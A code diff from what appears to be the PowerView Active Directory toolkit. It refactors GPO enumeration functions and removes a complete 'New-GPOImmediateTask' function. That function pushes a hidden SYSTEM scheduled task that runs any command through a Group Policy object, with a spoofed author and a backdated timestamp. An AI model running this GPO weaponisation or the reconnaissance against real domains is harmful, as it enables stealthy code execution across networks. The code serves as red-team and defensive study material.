+Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty
- Domain controller to reflect LDAP queries through.
+.DESCRIPTION
- .PARAMETER ADSpath
+Builds a directory searcher object using Get-DomainSearcher, builds a custom
+LDAP filter based on targeting/filter parameters, and searches for all objects
+matching the criteria. To only return specific properties, use
+"-Properties samaccountname,usnchanged,...". By default, all GPO objects for
+the current domain are returned. To enumerate all GPOs that are applied to
+a particular machine, use -ComputerName X.
- The LDAP source to search through
- e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"
+.PARAMETER Identity
- .PARAMETER PageSize
+A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
+GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
- The PageSize to set for the LDAP searcher object.
+.PARAMETER ComputerIdentity
- .PARAMETER Credential
+Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.).
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+.PARAMETER UserIdentity
- .EXAMPLE
+Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.).
- PS C:\> Get-NetGPO -Domain testlab.local
-
- Returns the GPOs in the 'testlab.local' domain.
-#>
- [CmdletBinding()]
- Param (
- [Parameter(ValueFromPipeline=$True)]
- [String]
- $GPOname = '*',
+.PARAMETER Domain
- [String]
- $DisplayName,
+Specifies the domain to use for the query, defaults to the current domain.
- [String]
- $ComputerName,
-
- [String]
- $Domain,
+.PARAMETER LDAPFilter
- [String]
- $DomainController,
-
- [String]
- $ADSpath,
-
- [ValidateRange(1,10000)]
- [Int]
- $PageSize = 200,
-
- [Management.Automation.PSCredential]
- $Credential
- )
-
- begin {
- $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
- }
+Specifies an LDAP query string that is used to filter Active Directory objects.
- process {
- if ($GPOSearcher) {
+.PARAMETER Properties
- if($ComputerName) {
- $GPONames = @()
- $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize
+Specifies the properties of the output object to retrieve from the server.
- if(!$Computers) {
- throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"
- }
-
- # get the given computer's OU
- $ComputerOUs = @()
- ForEach($Computer in $Computers) {
- # extract all OUs a computer is a part of
- $DN = $Computer.distinguishedname
+.PARAMETER SearchBase
- $ComputerOUs += $DN.split(",") | ForEach-Object {
- if($_.startswith("OU=")) {
- $DN.substring($DN.indexof($_))
- }
- }
- }
-
- Write-Verbose "ComputerOUs: $ComputerOUs"
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
- # find all the GPOs linked to the computer's OU
- ForEach($ComputerOU in $ComputerOUs) {
- $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object {
- # get any GPO links
- write-verbose "blah: $($_.name)"
- $_.gplink.split("][") | ForEach-Object {
- if ($_.startswith("LDAP")) {
- $_.split(";")[0]
- }
- }
- }
- }
-
- Write-Verbose "GPONames: $GPONames"
+.PARAMETER Server
- # find any GPOs linked to the site for the given computer
- $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName
- if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
- $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object {
- if($_.gplink) {
- $_.gplink.split("][") | ForEach-Object {
- if ($_.startswith("LDAP")) {
- $_.split(";")[0]
- }
- }
- }
- }
- }
+Specifies an Active Directory server (domain controller) to bind to.
- $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object {
+.PARAMETER SearchScope
- # use the gplink as an ADS path to enumerate all GPOs for the computer
- $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize
- $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
- try {
- $Results = $GPOSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- $Out = Convert-LDAPProperty -Properties $_.Properties
- $Out | Add-Member Noteproperty 'ComputerName' $ComputerName
- $Out
- }
- $Results.dispose()
- $GPOSearcher.dispose()
- }
- catch {
- Write-Warning $_
- }
- }
- }
+.PARAMETER ResultPageSize
- else {
- if($DisplayName) {
- $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))"
- }
- else {
- $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"
- }
+Specifies the PageSize to set for the LDAP searcher object.
- try {
- $Results = $GPOSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- if($ADSPath -and ($ADSpath -Match '^GC://')) {
- $Properties = Convert-LDAPProperty -Properties $_.Properties
- try {
- $GPODN = $Properties.distinguishedname
- $GPODomain = $GPODN.subString($GPODN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
- $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($Properties.cn)"
- $Properties | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath
- $Properties
- }
- catch {
- $Properties
- }
- }
- else {
- # convert/process the LDAP fields for each result
- Convert-LDAPProperty -Properties $_.Properties
- }
- }
- $Results.dispose()
- $GPOSearcher.dispose()
- }
- catch {
- Write-Warning $_
- }
- }
- }
- }
-}
+.PARAMETER ServerTimeLimit
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
-function New-GPOImmediateTask {
-<#
- .SYNOPSIS
+.PARAMETER SecurityMasks
- Builds an 'Immediate' schtask to push out through a specified GPO.
+Specifies an option for examining security information of a directory object.
+One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
- .PARAMETER TaskName
+.PARAMETER Tombstone
- Name for the schtask to recreate. Required.
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- .PARAMETER Command
+.PARAMETER FindOne
- The command to execute with the task, defaults to 'powershell'
+Only return one result object.
- .PARAMETER CommandArguments
+.PARAMETER Credential
- The arguments to supply to the -Command being launched.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- .PARAMETER TaskDescription
+.PARAMETER Raw
- An optional description for the task.
+Switch. Return raw results instead of translating the fields into a custom PSObject.
- .PARAMETER TaskAuthor
-
- The displayed author of the task, defaults to ''NT AUTHORITY\System'
+.EXAMPLE
- .PARAMETER TaskModifiedDate
-
- The displayed modified date for the task, defaults to 30 days ago.
+Get-DomainGPO -Domain testlab.local
- .PARAMETER GPOname
+Return all GPOs for the testlab.local domain
- The GPO name to build the task for.
+.EXAMPLE
- .PARAMETER GPODisplayName
+Get-DomainGPO -ComputerName windows1.testlab.local
- The GPO display name to build the task for.
+Returns all GPOs applied windows1.testlab.local
- .PARAMETER Domain
+.EXAMPLE
- The domain to query for the GPOs, defaults to the current domain.
+"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO
- .PARAMETER DomainController
+Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display
+name of "Test GPO"
- Domain controller to reflect LDAP queries through.
+.EXAMPLE
- .PARAMETER ADSpath
+Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
- The LDAP source to search through
- e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"
+.EXAMPLE
- .PARAMETER Credential
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainGPO -Credential $Cred
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target.
+.OUTPUTS
- .EXAMPLE
+PowerView.GPO
- PS> New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-c "123 | Out-File C:\Temp\debug.txt"' -Force
+Custom PSObject with translated GPO property fields.
- Create an immediate schtask that executes the specified PowerShell arguments and
- push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt.
+PowerView.GPO.Raw
- .EXAMPLE
+The raw DirectoryServices.SearchResult object, if -Raw is enabled.
+#>
- PS> New-GPOImmediateTask -GPODisplayName SecurePolicy -Remove -Force
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
+ [OutputType('PowerView.GPO')]
+ [OutputType('PowerView.GPO.Raw')]
+ [CmdletBinding(DefaultParameterSetName = 'None')]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DistinguishedName', 'SamAccountName', 'Name')]
+ [String[]]
+ $Identity,
- Remove all schtasks from the 'SecurePolicy' GPO, skipping the confirmation prompt.
-#>
- [CmdletBinding(DefaultParameterSetName = 'Create')]
- Param (
- [Parameter(ParameterSetName = 'Create', Mandatory = $True)]
- [String]
+ [Parameter(ParameterSetName = 'ComputerIdentity')]
+ [Alias('ComputerName')]
[ValidateNotNullOrEmpty()]
- $TaskName,
-
- [Parameter(ParameterSetName = 'Create')]
[String]
- [ValidateNotNullOrEmpty()]
- $Command = 'powershell',
+ $ComputerIdentity,
- [Parameter(ParameterSetName = 'Create')]
- [String]
+ [Parameter(ParameterSetName = 'UserIdentity')]
+ [Alias('UserName')]
[ValidateNotNullOrEmpty()]
- $CommandArguments,
-
- [Parameter(ParameterSetName = 'Create')]
[String]
- [ValidateNotNullOrEmpty()]
- $TaskDescription = '',
+ $UserIdentity,
- [Parameter(ParameterSetName = 'Create')]
- [String]
[ValidateNotNullOrEmpty()]
- $TaskAuthor = 'NT AUTHORITY\System',
+ [String]
+ $Domain,
- [Parameter(ParameterSetName = 'Create')]
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
[String]
+ $LDAPFilter,
+
[ValidateNotNullOrEmpty()]
- $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"),
+ [String[]]
+ $Properties,
- [Parameter(ParameterSetName = 'Create')]
- [Parameter(ParameterSetName = 'Remove')]
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
[String]
- $GPOname,
+ $SearchBase,
- [Parameter(ParameterSetName = 'Create')]
- [Parameter(ParameterSetName = 'Remove')]
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- $GPODisplayName,
+ $Server,
- [Parameter(ParameterSetName = 'Create')]
- [Parameter(ParameterSetName = 'Remove')]
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
- $Domain,
+ $SearchScope = 'Subtree',
- [Parameter(ParameterSetName = 'Create')]
- [Parameter(ParameterSetName = 'Remove')]
- [String]
- $DomainController,
-
- [Parameter(ParameterSetName = 'Create')]
- [Parameter(ParameterSetName = 'Remove')]
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
+
+ [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
- $ADSpath,
+ $SecurityMasks,
- [Parameter(ParameterSetName = 'Create')]
- [Parameter(ParameterSetName = 'Remove')]
[Switch]
- $Force,
+ $Tombstone,
- [Parameter(ParameterSetName = 'Remove')]
+ [Alias('ReturnOne')]
[Switch]
- $Remove,
+ $FindOne,
- [Parameter(ParameterSetName = 'Create')]
- [Parameter(ParameterSetName = 'Remove')]
[Management.Automation.PSCredential]
- $Credential
- )
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty,
- # build the XML spec for our 'immediate' scheduled task
- $TaskXML = '<?xml version="1.0" encoding="utf-8"?><ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="'+$TaskName+'" image="0" changed="'+$TaskModifiedDate+'" uid="{'+$([guid]::NewGuid())+'}" userContext="0" removePolicy="0"><Properties action="C" name="'+$TaskName+'" runAs="NT AUTHORITY\System" logonType="S4U"><Task version="1.3"><RegistrationInfo><Author>'+$TaskAuthor+'</Author><Description>'+$TaskDescription+'</Description></RegistrationInfo><Principals><Principal id="Author"><UserId>NT AUTHORITY\System</UserId><RunLevel>HighestAvailable</RunLevel><LogonType>S4U</LogonType></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><AllowHardTerminate>false</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><AllowStartOnDemand>false</AllowStartOnDemand><Enabled>true</Enabled><Hidden>true</Hidden><ExecutionTimeLimit>PT0S</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter><RestartOnFailure><Interval>PT15M</Interval><Count>3</Count></RestartOnFailure></Settings><Actions Context="Author"><Exec><Command>'+$Command+'</Command><Arguments>'+$CommandArguments+'</Arguments></Exec></Actions><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers></Task></Properties></ImmediateTaskV2></ScheduledTasks>'
+ [Switch]
+ $Raw
+ )
- if (!$PSBoundParameters['GPOname'] -and !$PSBoundParameters['GPODisplayName']) {
- Write-Warning 'Either -GPOName or -GPODisplayName must be specified'
- return
+ BEGIN {
+ $SearcherArguments = @{}
+ if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+ $GPOSearcher = Get-DomainSearcher @SearcherArguments
}
- # eunmerate the specified GPO(s)
- $GPOs = Get-NetGPO -GPOname $GPOname -DisplayName $GPODisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -Credential $Credential
-
- if(!$GPOs) {
- Write-Warning 'No GPO found.'
- return
- }
+ PROCESS {
+ if ($GPOSearcher) {
+ if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) {
+ $GPOAdsPaths = @()
+ if ($SearcherArguments['Properties']) {
+ $OldProperties = $SearcherArguments['Properties']
+ }
+ $SearcherArguments['Properties'] = 'distinguishedname,dnshostname'
+ $TargetComputerName = $Null
+
+ if ($PSBoundParameters['ComputerIdentity']) {
+ $SearcherArguments['Identity'] = $ComputerIdentity
+ $Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1
+ if(-not $Computer) {
+ Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!"
+ }
+ $ObjectDN = $Computer.distinguishedname
+ $TargetComputerName = $Computer.dnshostname
+ }
+ else {
+ $SearcherArguments['Identity'] = $UserIdentity
+ $User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1
+ if(-not $User) {
+ Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!"
+ }
+ $ObjectDN = $User.distinguishedname
+ }
- $GPOs | ForEach-Object {
- $ProcessedGPOName = $_.Name
- try {
- Write-Verbose "Trying to weaponize GPO: $ProcessedGPOName"
+ # extract all OUs the target user/computer is a part of
+ $ObjectOUs = @()
+ $ObjectOUs += $ObjectDN.split(',') | ForEach-Object {
+ if($_.startswith('OU=')) {
+ $ObjectDN.SubString($ObjectDN.IndexOf($_))
+ }
+ }
+ Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs"
+
+ if ($ObjectOUs) {
+ # find all the GPOs linked to the user/computer's OUs
+ $SearcherArguments.Remove('Properties')
+ $InheritanceDisabled = $False
+ ForEach($ObjectOU in $ObjectOUs) {
+ if ($InheritanceDisabled) { break }
+ $SearcherArguments['Identity'] = $ObjectOU
+ $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object {
+ # extract any GPO links for this particular OU the computer is a part of
+ $_.gplink.split('][') | ForEach-Object {
+ if ($_.startswith('LDAP')) {
+ $_.split(';')[0]
+ }
+ }
- # map a network drive as New-PSDrive/New-Item/etc. don't accept -Credential properly :(
- if($Credential) {
- Write-Verbose "Mapping '$($_.gpcfilesyspath)' to network drive N:\"
- $Path = $_.gpcfilesyspath.TrimEnd('\')
- $Net = New-Object -ComObject WScript.Network
- $Net.MapNetworkDrive("N:", $Path, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password)
- $TaskPath = "N:\Machine\Preferences\ScheduledTasks\"
- }
- else {
- $TaskPath = $_.gpcfilesyspath + "\Machine\Preferences\ScheduledTasks\"
- }
+ # if this OU has GPO inheritence disabled, break so additional OUs aren't processed
+ if ($_.gpoptions -eq 1) {
+ $InheritanceDisabled = $True
+ }
+ }
+ }
+ }
- if($Remove) {
- if(!(Test-Path "$TaskPath\ScheduledTasks.xml")) {
- Throw "Scheduled task doesn't exist at $TaskPath\ScheduledTasks.xml"
+ if ($TargetComputerName) {
+ # find all the GPOs linked to the computer's site
+ $ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName
+ if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
+ $SearcherArguments['Identity'] = $ComputerSite
+ $GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object {
+ if($_.gplink) {
+ # extract any GPO links for this particular site the computer is a part of
+ $_.gplink.split('][') | ForEach-Object {
+ if ($_.startswith('LDAP')) {
+ $_.split(';')[0]
+ }
+ }
+ }
+ }
+ }
}
- if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskPath\ScheduledTasks.xml")) {
- return
+ # find any GPOs linked to the user/computer's domain
+ $ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC='))
+ $SearcherArguments.Remove('Identity')
+ $SearcherArguments.Remove('Properties')
+ $SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)"
+ $GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object {
+ if($_.gplink) {
+ # extract any GPO links for this particular domain the computer is a part of
+ $_.gplink.split('][') | ForEach-Object {
+ if ($_.startswith('LDAP')) {
+ $_.split(';')[0]
+ }
+ }
+ }
}
+ Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths"
+
+ # restore the old properites to return, if set
+ if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }
+ else { $SearcherArguments.Remove('Properties') }
+ $SearcherArguments.Remove('Identity')
- Remove-Item -Path "$TaskPath\ScheduledTasks.xml" -Force
+ $GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object {
+ # use the gplink as an ADS path to enumerate all GPOs for the computer
+ $SearcherArguments['SearchBase'] = $_
+ $SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)"
+ Get-DomainObject @SearcherArguments | ForEach-Object {
+ if ($PSBoundParameters['Raw']) {
+ $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
+ }
+ else {
+ $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
+ }
+ $_
+ }
+ }
}
else {
- if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskPath\ScheduledTasks.xml")) {
- return
+ $IdentityFilter = ''
+ $Filter = ''
+ $Identity | Where-Object {$_} | ForEach-Object {
+ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
+ if ($IdentityInstance -match 'LDAP://|^CN=.*') {
+ $IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ }
+ elseif ($IdentityInstance -match '{.*}') {
+ $IdentityFilter += "(name=$IdentityInstance)"
+ }
+ else {
+ try {
+ $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
+ $IdentityFilter += "(objectguid=$GuidByteString)"
+ }
+ catch {
+ $IdentityFilter += "(displayname=$IdentityInstance)"
+ }
+ }
+ }
+ if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
+ $Filter += "(|$IdentityFilter)"
}
-
- # create the folder if it doesn't exist
- $Null = New-Item -ItemType Directory -Force -Path $TaskPath
- if(Test-Path "$TaskPath\ScheduledTasks.xml") {
- Throw "Scheduled task already exists at $TaskPath\ScheduledTasks.xml !"
+ if ($PSBoundParameters['LDAPFilter']) {
+ Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter"
+ $Filter += "$LDAPFilter"
}
- $TaskXML | Set-Content -Encoding ASCII -Path "$TaskPath\ScheduledTasks.xml"
- }
+ $GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)"
+ Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)"
- if($Credential) {
- Write-Verbose "Removing mounted drive at N:\"
- $Net = New-Object -ComObject WScript.Network
- $Net.RemoveNetworkDrive("N:")
- }
- }
- catch {
- Write-Warning "Error for GPO $ProcessedGPOName : $_"
- if($Credential) {
- Write-Verbose "Removing mounted drive at N:\"
- $Net = New-Object -ComObject WScript.Network
- $Net.RemoveNetworkDrive("N:")
+ if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() }
+ else { $Results = $GPOSearcher.FindAll() }
+ $Results | Where-Object {$_} | ForEach-Object {
+ if ($PSBoundParameters['Raw']) {
+ # return raw result objects
+ $GPO = $_
+ $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
+ }
+ else {
+ if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) {
+ $GPO = Convert-LDAPProperty -Properties $_.Properties
+ try {
+ $GPODN = $GPO.distinguishedname
+ $GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
+ $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)"
+ $GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath
+ }
+ catch {
+ Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)"
+ }
+ }
+ else {
+ $GPO = Convert-LDAPProperty -Properties $_.Properties
+ }
+ $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
+ }
+ $GPO
+ }
+ if ($Results) {
+ try { $Results.dispose() }
+ catch {
+ Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_"
+ }
+ }
+ $GPOSearcher.dispose()
}
}
}
}
-function Get-NetGPOGroup {
+function Get-DomainGPOLocalGroup {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups'
+or Group Policy preferences. Also return their user membership mappings, if they exist.
+
+Author: @harmj0y
+License: BSD 3-Clause
+Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID
+
+.DESCRIPTION
+
+First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed
+arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or
+group membership is set through Group Policy Preferences groups.xml files. For any
+GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership'
+section data is processed if present. Any found Groups.xml files are parsed with
+Get-GroupsXML and those memberships are returned as well.
+
+.PARAMETER Identity
+
+A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
+GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
- Returns all GPOs in a domain that set "Restricted Groups" or use groups.xml on on target machines.
+.PARAMETER ResolveMembersToSIDs
- Author: @harmj0y
- License: BSD 3-Clause
- Required Dependencies: Get-NetGPO, Get-GptTmpl, Get-GroupsXML, Convert-NameToSid, Convert-SidToName
- Optional Dependencies: None
-
- .DESCRIPTION
+Switch. Indicates that any member names should be resolved to their domain SIDs.
- First enumerates all GPOs in the current/target domain using Get-NetGPO with passed
- arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or
- group membership is set through Group Policy Preferences groups.xml files. For any
- GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership'
- section data is processed if present. Any found Groups.xml files are parsed with
- Get-GroupsXML and those memberships are returned as well.
+.PARAMETER Domain
- .PARAMETER GPOname
+Specifies the domain to use for the query, defaults to the current domain.
- The GPO name (GUID) to query for, wildcards accepted.
+.PARAMETER LDAPFilter
- .PARAMETER DisplayName
+Specifies an LDAP query string that is used to filter Active Directory objects.
- The GPO display name to query for, wildcards accepted.
+.PARAMETER SearchBase
- .PARAMETER Domain
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
- The domain to query for GPOs, defaults to the current domain.
+.PARAMETER Server
- .PARAMETER DomainController
+Specifies an Active Directory server (domain controller) to bind to.
- Domain controller to reflect LDAP queries through.
+.PARAMETER SearchScope
- .PARAMETER ADSpath
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
- The LDAP source to search through for GPOs.
- e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"
+.PARAMETER ResultPageSize
- .PARAMETER ResolveMemberSIDs
+Specifies the PageSize to set for the LDAP searcher object.
- Switch. Try to resolve the SIDs of all found group members.
+.PARAMETER ServerTimeLimit
- .PARAMETER UsePSDrive
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- Switch. Mount any found policy files with temporary PSDrives.
+.PARAMETER Tombstone
- .PARAMETER PageSize
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- The PageSize to set for the LDAP searcher object.
+.PARAMETER Credential
- .EXAMPLE
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- PS C:\> Get-NetGPOGroup
+.EXAMPLE
- Returns all local groups set by GPO along with their members and memberof.
+Get-DomainGPOLocalGroup
- .EXAMPLE
+Returns all local groups set by GPO along with their members and memberof.
- PS C:\> Get-NetGPOGroup -ResolveMemberSIDs
+.EXAMPLE
- Returns all local groups set by GPO along with their members and memberof,
- and resolve any members to their domain SIDs.
+Get-DomainGPOLocalGroup -ResolveMembersToSIDs
- .EXAMPLE
+Returns all local groups set by GPO along with their members and memberof,
+and resolve any members to their domain SIDs.
- PS C:\> Get-NetGPOGroup -GPOName '{0847C615-6C4E-4D45-A064-6001040CC21C}'
+.EXAMPLE
- Return any GPO-set groups for the GPO with the given name/GUID.
+'{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup
- .EXAMPLE
+Return any GPO-set groups for the GPO with the given name/GUID.
- PS C:\> Get-NetGPOGroup -DisplayName 'Desktops'
+.EXAMPLE
- Return any GPO-set groups for the GPO with the given display name.
+Get-DomainGPOLocalGroup 'Desktops'
- .LINK
+Return any GPO-set groups for the GPO with the given display name.
- https://morgansimonsenblog.azurewebsites.net/tag/groups/
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainGPOLocalGroup -Credential $Cred
+
+.LINK
+
+https://morgansimonsenblog.azurewebsites.net/tag/groups/
#>
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.GPOGroup')]
[CmdletBinding()]
- Param (
- [String]
- $GPOname = '*',
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DistinguishedName', 'SamAccountName', 'Name')]
+ [String[]]
+ $Identity,
- [String]
- $DisplayName,
+ [Switch]
+ $ResolveMembersToSIDs,
+ [ValidateNotNullOrEmpty()]
[String]
$Domain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
[String]
- $DomainController,
